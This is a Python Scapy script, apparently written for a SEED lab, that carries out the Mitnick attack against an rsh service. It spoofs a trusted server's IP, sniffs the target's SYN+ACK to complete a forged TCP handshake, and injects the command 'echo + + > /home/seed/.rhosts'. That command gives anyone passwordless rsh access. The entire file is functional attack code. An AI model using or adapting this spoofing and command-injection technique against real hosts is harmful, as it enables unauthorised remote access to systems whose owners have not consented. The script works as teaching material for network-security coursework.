#!/usr/bin/python3
from scapy.all import *
import time
import threading

X_IP = "10.9.0.5"
SRV_IP = "10.9.0.6"
X_PORT = 514
SRV_PORT = 1023
SECOND_PORT = 1022
IFACE = "br-63cae30f0395"

def mitnick_attack():
    my_seq = 0x12345678
    
    # State flags
    handshake_done = False
    second_conn_done = False

    def handle_pkt(pkt):
        nonlocal handshake_done, second_conn_done
        if not pkt.haslayer(TCP):
            return

        # First Connection: SYN+ACK
        if pkt[TCP].flags == "SA" and pkt[IP].src == X_IP and pkt[TCP].dport == SRV_PORT:
            print(f"Received SYN+ACK. Seq: {pkt[TCP].seq}")
            
            # Send ACK
            ack_pkt = IP(src=SRV_IP, dst=X_IP) / \
                      TCP(sport=SRV_PORT, dport=X_PORT, flags="A",
                          seq=my_seq + 1, ack=pkt[TCP].seq + 1)
            send(ack_pkt, verbose=0, iface=IFACE)
            print("Sent ACK")
            
            # Send RSH data
            command = "echo + + > /home/seed/.rhosts"
            data = f"{SECOND_PORT}\x00seed\x00seed\x00{command}\x00"
            psh_pkt = IP(src=SRV_IP, dst=X_IP) / \
                      TCP(sport=SRV_PORT, dport=X_PORT, flags="PA",
                          seq=my_seq + 1, ack=pkt[TCP].seq + 1) / data
            send(psh_pkt, verbose=0, iface=IFACE)
            print(f"Sent RSH data: {command}")
            handshake_done = True

        # Second Connection: SYN
        elif pkt[TCP].flags == "S" and pkt[IP].src == X_IP and pkt[TCP].dport == SECOND_PORT:
            print(f"Received SYN for second connection. Seq: {pkt[TCP].seq}")
            
            # Send SYN+ACK
            srv_seq2 = 0x99999999
            sa_pkt = IP(src=SRV_IP, dst=X_IP) / \
                     TCP(sport=SECOND_PORT, dport=pkt[TCP].sport, flags="SA",
                         seq=srv_seq2, ack=pkt[TCP].seq + 1)
            send(sa_pkt, verbose=0, iface=IFACE)
            print("Sent SYN+ACK for second connection")
            second_conn_done = True

    # Start sniffer in a thread
    print("Starting Sniffer...")
    t = threading.Thread(target=lambda: sniff(iface=IFACE, filter=f"tcp and host {X_IP}", prn=handle_pkt, timeout=15))
    t.start()
    
    time.sleep(1) # Give sniffer time to start
    
    # Step 1: Send spoofed SYN
    print(f"Step 1: Sending spoofed SYN to {X_IP}:{X_PORT}")
    ip = IP(src=SRV_IP, dst=X_IP)
    tcp = TCP(sport=SRV_PORT, dport=X_PORT, flags="S", seq=my_seq)
    send(ip/tcp, verbose=0, iface=IFACE)
    
    t.join()
    print("Attack script finished.")

if __name__ == "__main__":
    mitnick_attack()
